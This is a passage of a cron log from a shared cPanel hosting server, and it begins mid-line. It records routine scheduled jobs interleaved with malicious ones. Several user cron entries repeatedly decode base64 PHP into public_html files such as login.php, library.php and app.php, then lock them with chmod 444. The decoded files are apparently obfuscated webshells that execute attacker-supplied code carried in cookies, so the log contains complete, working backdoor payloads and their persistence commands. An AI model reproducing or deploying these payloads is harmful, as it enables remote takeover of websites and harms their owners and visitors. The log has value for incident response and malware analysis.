"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:51:01 medusa CROND[14132]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:51:01 medusa CROND[14134]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:51:01 medusa CROND[14135]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:51:01 medusa CROND[14139]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:51:01 medusa CROND[14141]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:51:01 medusa CROND[14143]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:51:01 medusa CROND[14136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:51:01 medusa CROND[14140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:51:01 medusa CROND[14150]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:52:02 medusa CROND[15853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:52:02 medusa CROND[15860]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:52:02 medusa CROND[15861]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:52:02 medusa CROND[15862]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:52:02 medusa CROND[15863]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:52:02 medusa CROND[15868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:52:02 medusa CROND[15867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:52:02 medusa CROND[15869]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:52:02 medusa CROND[15870]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:52:02 medusa CROND[15873]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:52:02 medusa CROND[15875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:52:02 medusa CROND[15881]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:52:02 medusa CROND[15884]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:53:02 medusa CROND[17512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:53:02 medusa CROND[17513]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:53:02 medusa CROND[17515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:53:02 medusa CROND[17514]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:53:02 medusa CROND[17516]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:53:02 medusa CROND[17517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:53:02 medusa CROND[17518]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:53:02 medusa CROND[17519]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:53:02 medusa CROND[17522]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:53:02 medusa CROND[17523]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:53:02 medusa CROND[17524]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
